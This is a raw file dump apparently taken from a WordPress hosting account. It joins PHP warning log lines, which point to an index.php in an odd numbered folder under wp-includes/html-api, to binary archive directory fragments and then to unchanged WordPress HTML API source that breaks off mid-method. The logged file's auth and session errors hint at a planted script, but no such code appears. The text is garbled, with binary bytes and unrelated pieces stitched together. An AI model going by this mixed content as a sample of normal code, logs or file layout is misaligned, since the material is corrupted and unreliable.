[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:13 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\�KW�gg�Gerror_log.tar.gznu�[���PKgN\T7��[["nJclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#Pclass-wp-html-tag-processor.php.tarnu�[���PKgN\�>��JJ
n�index.php.tarnu�[���PKgN\�Wy%��class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d�index.php.php.tar.gznu�[���PKgN\��|Kb�b�*�jclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��class-wp-html-token.php.tarnu�[���PKgN\�,�n�n�	�error_lognu�[���PKgN\�A�&��class-wp-html-text-replacement.php.tarnu�[���PK

��PKE�N\���HHclass-wp-html-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-processor.php000064400000640677151440300410023002 0ustar00<?php
/**
 * HTML API: WP_HTML_Processor class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used to safely parse and modify an HTML document.
 *
 * The HTML Processor class properly parses and modifies HTML5 documents.
 *
 * It supports a subset of the HTML5 specification, and when it encounters
 * unsupported markup, it aborts early to avoid unintentionally breaking
 * the document. The HTML Processor should never break an HTML document.
 *
 * While the `WP_HTML_Tag_Processor` is a valuable tool for modifying
 * attributes on individual HTML tags, the HTML Processor is more capable
 * and useful for the following operations:
 *
 *  - Querying based on nested HTML structure.
 *
 * Eventually the HTML Processor will also support:
 *  - Wrapping a tag in surrounding HTML.
 *  - Unwrapping a tag by removing its parent.
 *  - Inserting and removing nodes.
 *  - Reading and changing inner content.
 *  - Navigating up or around HTML structure.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *   1. Call a static creator method with your input HTML document.
 *   2. Find the location in the document you are looking for.
 *   3. Request changes to the document at that location.
 *
 * Example:
 *
 *     $processor = WP_HTML_Processor::create_fragment( $html );
 *     if ( $processor->next_tag( array( 'breadcrumbs' => array( 'DIV', 'FIGURE', 'IMG' ) ) ) ) {
 *         $processor->add_class( 'responsive-image' );
 *     }
 *
 * #### Breadcrumbs
 *
 * Breadcrumbs represent the stack of open elements from the root
 * of the document or fragment down to the currently-matched node,
 * if one is currently selected. Call WP_HTML_Processor::get_breadcrumbs()
 * to inspect the breadcrumbs for a matched tag.
 *
 * Breadcrumbs can specify nested HTML structure and are equivalent
 * to a CSS selector comprising tag names separated by the child
 * combinator, such as "DIV > FIGURE > IMG".
 *
 * Since all elements find themselves inside a full HTML document
 * when parsed, the return value from `get_breadcrumbs()` will always
 * contain any implicit outermost elements. For example, when parsing
 * with `create_fragment()` in the `BODY` context (the default), any
 * tag in the given HTML document will contain `array( 'HTML', 'BODY', … )`
 * in its breadcrumbs.
 *
 * Despite containing the implied outermost elements in their breadcrumbs,
 * tags may be found with the shortest-matching breadcrumb query. That is,
 * `array( 'IMG' )` matches all IMG elements and `array( 'P', 'IMG' )`
 * matches all IMG elements directly inside a P element. To ensure that no
 * partial matches erroneously match it's possible to specify in a query
 * the full breadcrumb match all the way down from the root HTML element.
 *
 * Example:
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //               ----- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'IMG' ) ) );
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //                                  ---- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'FIGCAPTION', 'EM' ) ) );
 *
 *     $html = '<div><img></div><img>';
 *     //                       ----- Matches here, because IMG must be a direct child of the implicit BODY.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'BODY', 'IMG' ) ) );
 *
 * ## HTML Support
 *
 * This class implements a small part of the HTML5 specification.
 * It's designed to operate within its support and abort early whenever
 * encountering circumstances it can't properly handle. This is
 * the principle way in which this class remains as simple as possible
 * without cutting corners and breaking compliance.
 *
 * ### Supported elements
 *
 * If any unsupported element appears in the HTML input the HTML Processor
 * will abort early and stop all processing. This draconian measure ensures
 * that the HTML Processor won't break any HTML it doesn't fully understand.
 *
 * The HTML Processor supports all elements other than a specific set:
 *
 *  - Any element inside a TABLE.
 *  - Any element inside foreign content, including SVG and MATH.
 *  - Any element outside the IN BODY insertion mode, e.g. doctype declarations, meta, links.
 *
 * ### Supported markup
 *
 * Some kinds of non-normative HTML involve reconstruction of formatting elements and
 * re-parenting of mis-nested elements. For example, a DIV tag found inside a TABLE
 * may in fact belong _before_ the table in the DOM. If the HTML Processor encounters
 * such a case it will stop processing.
 *
 * The following list illustrates some common examples of unexpected HTML inputs that
 * the HTML Processor properly parses and represents:
 *
 *  - HTML with optional tags omitted, e.g. `<p>one<p>two`.
 *  - HTML with unexpected tag closers, e.g. `<p>one </span> more</p>`.
 *  - Non-void tags with self-closing flag, e.g. `<div/>the DIV is still open.</div>`.
 *  - Heading elements which close open heading elements of another level, e.g. `<h1>Closed by </h2>`.
 *  - Elements containing text that looks like other tags but isn't, e.g. `<title>The <img> is plaintext</title>`.
 *  - SCRIPT and STYLE tags containing text that looks like HTML but isn't, e.g. `<script>document.write('<p>Hi</p>');</script>`.
 *  - SCRIPT content which has been escaped, e.g. `<script><!-- document.write('<script>console.log("hi")</script>') --></script>`.
 *
 * ### Unsupported Features
 *
 * This parser does not report parse errors.
 *
 * Normally, when additional HTML or BODY tags are encountered in a document, if there
 * are any additional attributes on them that aren't found on the previous elements,
 * the existing HTML and BODY elements adopt those missing attribute values. This
 * parser does not add those additional attributes.
 *
 * In certain situations, elements are moved to a different part of the document in
 * a process called "adoption" and "fostering." Because the nodes move to a location
 * in the document that the parser had already processed, this parser does not support
 * these situations and will bail.
 *
 * @since 6.4.0
 *
 * @see WP_HTML_Tag_Processor
 * @see https://html.spec.whatwg.org/
 */
class WP_HTML_Processor extends WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at any given time.
	 *
	 * HTML processing requires more bookmarks than basic tag processing,
	 * so this class constant from the Tag Processor is overwritten.
	 *
	 * @since 6.4.0
	 *
	 * @var int
	 */
	const MAX_BOOKMARKS = 100;

	/**
	 * Holds the working state of the parser, including the stack of
	 * open elements and the stack of active formatting elements.
	 *
	 * Initialized in the constructor.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Processor_State
	 */
	private $state;

	/**
	 * Used to create unique bookmark names.
	 *
	 * This class sets a bookmark for every tag in the HTML document that it encounters.
	 * The bookmark name is auto-generated and increments, starting with `1`. These are
	 * internal bookmarks and are automatically released when the referring WP_HTML_Token
	 * goes out of scope and is garbage-collected.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::$release_internal_bookmark_on_destruct
	 *
	 * @var int
	 */
	private $bookmark_counter = 0;

	/**
	 * Stores an explanation for why something failed, if it did.
	 *
	 * @see self::get_last_error
	 *
	 * @since 6.4.0
	 *
	 * @var string|null
	 */
	private $last_error = null;

	/**
	 * Stores context for why the parser bailed on unsupported HTML, if it did.
	 *
	 * @see self::get_unsupported_exception
	 *
	 * @since 6.7.0
	 *
	 * @var WP_HTML_Unsupported_Exception|null
	 */
	private $unsupported_exception = null;

	/**
	 * Releases a bookmark when PHP garbage-collects its wrapping WP_HTML_Token instance.
	 *
	 * This function is created inside the class constructor so that it can be passed to
	 * the stack of open elements and the stack of active formatting elements without
	 * exposing it as a public method on the class.
	 *
	 * @since 6.4.0
	 *
	 * @var Closure|null
	 */
	private $release_internal_bookmark_on_destruct = null;

	/**
	 * Stores stack events which arise during parsing of the
	 * HTML document, which will then supply the "match" events.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event[]
	 */
	private $element_queue = array();

	/**
	 * Stores the current breadcrumbs.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	private $breadcrumbs = array();

	/**
	 * Current stack event, if set, representing a matched token.
	 *
	 * Because the parser may internally point to a place further along in a document
	 * than the nodes which have already been processed (some "virtual" nodes may have
	 * appeared while scanning the HTML document), this will point at the "current" node
	 * being processed. It comes from the front of the element queue.
	 *
	 * @since 6.6.0
	 *
	 * @var WP_HTML_Stack_Event|null
	 */
	private $current_element = null;

	/**
	 * Context node if created as a fragment parser.
	 *
	 * @var WP_HTML_Token|null
	 */
	private $context_node = null;

	/*
	 * Public Interface Functions
	 */

	/**
	 * Creates an HTML processor in the fragment parsing mode.
	 *
	 * Use this for cases where you are processing chunks of HTML that
	 * will be found within a bigger HTML document, such as rendered
	 * block output that exists within a post, `the_content` inside a
	 * rendered site layout.
	 *
	 * Fragment parsing occurs within a context, which is an HTML element
	 * that the document will eventually be placed in. It becomes important
	 * when special elements have different rules than others, such as inside
	 * a TEXTAREA or a TITLE tag where things that look like tags are text,
	 * or inside a SCRIPT tag where things that look like HTML syntax are JS.
	 *
	 * The context value should be a representation of the tag into which the
	 * HTML is found. For most cases this will be the body element. The HTML
	 * form is provided because a context element may have attributes that
	 * impact the parse, such as with a SCRIPT tag and its `type` attribute.
	 *
	 * ## Current HTML Support
	 *
	 *  - The only supported context is `<body>`, which is the default value.
	 *  - The only supported document encoding is `UTF-8`, which is the default value.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Returns `static` instead of `self` so it can create subclass instances.
	 *
	 * @param string $html     Input HTML fragment to process.
	 * @param string $context  Context element for the fragment, must be default of `<body>`.
	 * @param string $encoding Text encoding of the document; must be default of 'UTF-8'.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_fragment( $html, $context = '<body>', $encoding = 'UTF-8' ) {
		if ( '<body>' !== $context || 'UTF-8' !== $encoding ) {
			return null;
		}

		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$context_processor = static::create_full_parser( "<!DOCTYPE html>{$context}", $encoding );
		if ( null === $context_processor ) {
			return null;
		}

		while ( $context_processor->next_tag() ) {
			if ( ! $context_processor->is_virtual() ) {
				$context_processor->set_bookmark( 'final_node' );
			}
		}

		if (
			! $context_processor->has_bookmark( 'final_node' ) ||
			! $context_processor->seek( 'final_node' )
		) {
			_doing_it_wrong( __METHOD__, __( 'No valid context element was detected.' ), '6.8.0' );
			return null;
		}

		return $context_processor->create_fragment_at_current_node( $html );
	}

	/**
	 * Creates an HTML processor in the full parsing mode.
	 *
	 * It's likely that a fragment parser is more appropriate, unless sending an
	 * entire HTML document from start to finish. Consider a fragment parser with
	 * a context node of `<body>`.
	 *
	 * UTF-8 is the only allowed encoding. If working with a document that
	 * isn't UTF-8, first convert the document to UTF-8, then pass in the
	 * converted HTML.
	 *
	 * @param string      $html                    Input HTML document to process.
	 * @param string|null $known_definite_encoding Optional. If provided, specifies the charset used
	 *                                             in the input byte stream. Currently must be UTF-8.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	public static function create_full_parser( $html, $known_definite_encoding = 'UTF-8' ) {
		if ( 'UTF-8' !== $known_definite_encoding ) {
			return null;
		}
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			return null;
		}

		$processor                             = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );
		$processor->state->encoding            = $known_definite_encoding;
		$processor->state->encoding_confidence = 'certain';

		return $processor;
	}

	/**
	 * Constructor.
	 *
	 * Do not use this method. Use the static creator methods instead.
	 *
	 * @access private
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::create_fragment()
	 *
	 * @param string      $html                                  HTML to process.
	 * @param string|null $use_the_static_create_methods_instead This constructor should not be called manually.
	 */
	public function __construct( $html, $use_the_static_create_methods_instead = null ) {
		parent::__construct( $html );

		if ( self::CONSTRUCTOR_UNLOCK_CODE !== $use_the_static_create_methods_instead ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: WP_HTML_Processor::create_fragment(). */
					__( 'Call %s to create an HTML Processor instead of calling the constructor directly.' ),
					'<code>WP_HTML_Processor::create_fragment()</code>'
				),
				'6.4.0'
			);
		}

		$this->state = new WP_HTML_Processor_State();

		$this->state->stack_of_open_elements->set_push_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::PUSH, $provenance );

				$this->change_parsing_namespace( $token->integration_node_type ? 'html' : $token->namespace );
			}
		);

		$this->state->stack_of_open_elements->set_pop_handler(
			function ( WP_HTML_Token $token ): void {
				$is_virtual            = ! isset( $this->state->current_token ) || ! $this->is_tag_closer();
				$same_node             = isset( $this->state->current_token ) && $token->node_name === $this->state->current_token->node_name;
				$provenance            = ( ! $same_node || $is_virtual ) ? 'virtual' : 'real';
				$this->element_queue[] = new WP_HTML_Stack_Event( $token, WP_HTML_Stack_Event::POP, $provenance );

				$adjusted_current_node = $this->get_adjusted_current_node();

				if ( $adjusted_current_node ) {
					$this->change_parsing_namespace( $adjusted_current_node->integration_node_type ? 'html' : $adjusted_current_node->namespace );
				} else {
					$this->change_parsing_namespace( 'html' );
				}
			}
		);

		/*
		 * Create this wrapper so that it's possible to pass
		 * a private method into WP_HTML_Token classes without
		 * exposing it to any public API.
		 */
		$this->release_internal_bookmark_on_destruct = function ( string $name ): void {
			parent::release_bookmark( $name );
		};
	}

	/**
	 * Creates a fragment processor at the current node.
	 *
	 * HTML Fragment parsing always happens with a context node. HTML Fragment Processors can be
	 * instantiated with a `BODY` context node via `WP_HTML_Processor::create_fragment( $html )`.
	 *
	 * The context node may impact how a fragment of HTML is parsed. For example, consider the HTML
	 * fragment `<td />Inside TD?</td>`.
	 *
	 * A BODY context node will produce the following tree:
	 *
	 *     └─#text Inside TD?
	 *
	 * Notice that the `<td>` tags are completely ignored.
	 *
	 * Compare that with an SVG context node that produces the following tree:
	 *
	 *     ├─svg:td
	 *     └─#text Inside TD?
	 *
	 * Here, a `td` node in the `svg` namespace is created, and its self-closing flag is respected.
	 * This is a peculiarity of parsing HTML in foreign content like SVG.
	 *
	 * Finally, consider the tree produced with a TABLE context node:
	 *
	 *     └─TBODY
	 *       └─TR
	 *         └─TD
	 *           └─#text Inside TD?
	 *
	 * These examples demonstrate how important the context node may be when processing an HTML
	 * fragment. Special care must be taken when processing fragments that are expected to appear
	 * in specific contexts. SVG and TABLE are good examples, but there are others.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#html-fragment-parsing-algorithm
	 *
	 * @since 6.8.0
	 *
	 * @param string $html Input HTML fragment to process.
	 * @return static|null The created processor if successful, otherwise null.
	 */
	private function create_fragment_at_current_node( string $html ) {
		if ( $this->get_token_type() !== '#tag' || $this->is_tag_closer() ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The context element must be a start tag.' ),
				'6.8.0'
			);
			return null;
		}

		$tag_name  = $this->current_element->token->node_name;
		$namespace = $this->current_element->token->namespace;

		if ( 'html' === $namespace && self::is_void( $tag_name ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like INPUT or BR.
					__( 'The context element cannot be a void element, found "%s".' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		/*
		 * Prevent creating fragments at nodes that require a special tokenizer state.
		 * This is unsupported by the HTML Processor.
		 */
		if (
			'html' === $namespace &&
			in_array( $tag_name, array( 'IFRAME', 'NOEMBED', 'NOFRAMES', 'SCRIPT', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', 'PLAINTEXT' ), true )
		) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: A tag name like IFRAME or TEXTAREA.
					__( 'The context element "%s" is not supported.' ),
					$tag_name
				),
				'6.8.0'
			);
			return null;
		}

		$fragment_processor = new static( $html, self::CONSTRUCTOR_UNLOCK_CODE );

		$fragment_processor->compat_mode = $this->compat_mode;

		// @todo Create "fake" bookmarks for non-existent but implied nodes.
		$fragment_processor->bookmarks['root-node'] = new WP_HTML_Span( 0, 0 );
		$root_node                                  = new WP_HTML_Token(
			'root-node',
			'HTML',
			false
		);
		$fragment_processor->state->stack_of_open_elements->push( $root_node );

		$fragment_processor->bookmarks['context-node']   = new WP_HTML_Span( 0, 0 );
		$fragment_processor->context_node                = clone $this->current_element->token;
		$fragment_processor->context_node->bookmark_name = 'context-node';
		$fragment_processor->context_node->on_destroy    = null;

		$fragment_processor->breadcrumbs = array( 'HTML', $fragment_processor->context_node->node_name );

		if ( 'TEMPLATE' === $fragment_processor->context_node->node_name ) {
			$fragment_processor->state->stack_of_template_insertion_modes[] = WP_HTML_Processor_State::INSERTION_MODE_IN_TEMPLATE;
		}

		$fragment_processor->reset_insertion_mode_appropriately();

		/*
		 * > Set the parser's form element pointer to the nearest node to the context element that
		 * > is a form element (going straight up the ancestor chain, and including the element
		 * > itself, if it is a form element), if any. (If there is no such form element, the
		 * > form element pointer keeps its initial value, null.)
		 */
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			if ( 'FORM' === $element->node_name && 'html' === $element->namespace ) {
				$fragment_processor->state->form_element                = clone $element;
				$fragment_processor->state->form_element->bookmark_name = null;
				$fragment_processor->state->form_element->on_destroy    = null;
				break;
			}
		}

		$fragment_processor->state->encoding_confidence = 'irrelevant';

		/*
		 * Update the parsing namespace near the end of the process.
		 * This is important so that any push/pop from the stack of open
		 * elements does not change the parsing namespace.
		 */
		$fragment_processor->change_parsing_namespace(
			$this->current_element->token->integration_node_type ? 'html' : $namespace
		);

		return $fragment_processor;
	}

	/**
	 * Stops the parser and terminates its execution when encountering unsupported markup.
	 *
	 * @throws WP_HTML_Unsupported_Exception Halts execution of the parser.
	 *
	 * @since 6.7.0
	 *
	 * @param string $message Explains support is missing in order to parse the current node.
	 */
	private function bail( string $message ) {
		$here  = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$token = substr( $this->html, $here->start, $here->length );

		$open_elements = array();
		foreach ( $this->state->stack_of_open_elements->stack as $item ) {
			$open_elements[] = $item->node_name;
		}

		$active_formats = array();
		foreach ( $this->state->active_formatting_elements->walk_down() as $item ) {
			$active_formats[] = $item->node_name;
		}

		$this->last_error = self::ERROR_UNSUPPORTED;

		$this->unsupported_exception = new WP_HTML_Unsupported_Exception(
			$message,
			$this->state->current_token->node_name,
			$here->start,
			$token,
			$open_elements,
			$active_formats
		);

		throw $this->unsupported_exception;
	}

	/**
	 * Returns the last error, if any.
	 *
	 * Various situations lead to parsing failure but this class will
	 * return `false` in all those cases. To determine why something
	 * failed it's possible to request the last error. This can be
	 * helpful to know to distinguish whether a given tag couldn't
	 * be found or if content in the document caused the processor
	 * to give up and abort processing.
	 *
	 * Example
	 *
	 *     $processor = WP_HTML_Processor::create_fragment( '<template><strong><button><em><p><em>' );
	 *     false === $processor->next_tag();
	 *     WP_HTML_Processor::ERROR_UNSUPPORTED === $processor->get_last_error();
	 *
	 * @since 6.4.0
	 *
	 * @see self::ERROR_UNSUPPORTED
	 * @see self::ERROR_EXCEEDED_MAX_BOOKMARKS
	 *
	 * @return string|null The last error, if one exists, otherwise null.
	 */
	public function get_last_error(): ?string {
		return $this->last_error;
	}

	/**
	 * Returns context for why the parser aborted due to unsupported HTML, if it did.
	 *
	 * This is meant for debugging purposes, not for production use.
	 *
	 * @since 6.7.0
	 *
	 * @see self::$unsupported_exception
	 *
	 * @return WP_HTML_Unsupported_Exception|null
	 */
	public function get_unsupported_exception() {
		return $this->unsupported_exception;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @todo Support matching the class name and tag name.
	 *
	 * @since 6.4.0
	 * @since 6.6.0 Visits all tokens, including virtual ones.
	 *
	 * @throws Exception When unable to allocate a bookmark for the next token in the input HTML document.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type string      $tag_closers  'visit' to pause at tag closers, 'skip' or unset to only visit openers.
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string[]    $breadcrumbs  DOM sub-path at which element is found, e.g. `array( 'FIGURE', 'IMG' )`.
	 *                                     May also contain the wildcard `*` which matches a single element, e.g. `array( 'SECTION', '*' )`.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$visit_closers = isset( $query['tag_closers'] ) && 'visit' === $query['tag_closers'];

		if ( null === $query ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		if ( is_string( $query ) ) {
			$query = array( 'breadcrumbs' => array( $query ) );
		}

		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Please pass a query array to this function.' ),
				'6.4.0'
			);
			return false;
		}

		if ( isset( $query['tag_name'] ) ) {
			$query['tag_name'] = strtoupper( $query['tag_name'] );
		}

		$needs_class = ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) )
			? $query['class_name']
			: null;

		if ( ! ( array_key_exists( 'breadcrumbs', $query ) && is_array( $query['breadcrumbs'] ) ) ) {
			while ( $this->next_token() ) {
				if ( '#tag' !== $this->get_token_type() ) {
					continue;
				}

				if ( isset( $query['tag_name'] ) && $query['tag_name'] !== $this->get_token_name() ) {
					continue;
				}

				if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
					continue;
				}

				if ( ! $this->is_tag_closer() || $visit_closers ) {
					return true;
				}
			}

			return false;
		}

		$breadcrumbs  = $query['breadcrumbs'];
		$match_offset = isset( $query['match_offset'] ) ? (int) $query['match_offset'] : 1;

		while ( $match_offset > 0 && $this->next_token() ) {
			if ( '#tag' !== $this->get_token_type() || $this->is_tag_closer() ) {
				continue;
			}

			if ( isset( $needs_class ) && ! $this->has_class( $needs_class ) ) {
				continue;
			}

			if ( $this->matches_breadcrumbs( $breadcrumbs ) && 0 === --$match_offset ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * @since 6.5.0 Added for internal support; do not use.
	 * @since 6.7.2 Refactored so subclasses may extend.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->next_visitable_token();
	}

	/**
	 * Ensures internal accounting is maintained for HTML semantic rules while
	 * the underlying Tag Processor class is seeking to a bookmark.
	 *
	 * This doesn't currently have a way to represent non-tags and doesn't process
	 * semantic rules for text nodes. For access to the raw tokens consider using
	 * WP_HTML_Tag_Processor instead.
	 *
	 * Note that this method may call itself recursively. This is why it is not
	 * implemented as {@see WP_HTML_Processor::next_token()}, which instead calls
	 * this method similarly to how {@see WP_HTML_Tag_Processor::next_token()}
	 * calls the {@see WP_HTML_Tag_Processor::base_class_next_token()} method.
	 *
	 * @since 6.7.2 Added for internal support.
	 *
	 * @access private
	 *
	 * @return bool
	 */
	private function next_visitable_token(): bool {
		$this->current_element = null;

		if ( isset( $this->last_error ) ) {
			return false;
		}

		/*
		 * Prime the events if there are none.
		 *
		 * @todo In some cases, probably related to the adoption agency
		 *       algorithm, this call to step() doesn't create any new
		 *       events. Calling it again creates them. Figure out why
		 *       this is and if it's inherent or if it's a bug. Looping
		 *       until there are events or until there are no more
		 *       tokens works in the meantime and isn't obviously wrong.
		 */
		if ( empty( $this->element_queue ) && $this->step() ) {
			return $this->next_visitable_token();
		}

		// Process the next event on the queue.
		$this->current_element = array_shift( $this->element_queue );
		if ( ! isset( $this->current_element ) ) {
			// There are no tokens left, so close all remaining open elements.
			while ( $this->state->stack_of_open_elements->pop() ) {
				continue;
			}

			return empty( $this->element_queue ) ? false : $this->next_visitable_token();
		}

		$is_pop = WP_HTML_Stack_Event::POP === $this->current_element->operation;

		/*
		 * The root node only exists in the fragment parser, and closing it
		 * indicates that the parse is complete. Stop before popping it from
		 * the breadcrumbs.
		 */
		if ( 'root-node' === $this->current_element->token->bookmark_name ) {
			return $this->next_visitable_token();
		}

		// Adjust the breadcrumbs for this event.
		if ( $is_pop ) {
			array_pop( $this->breadcrumbs );
		} else {
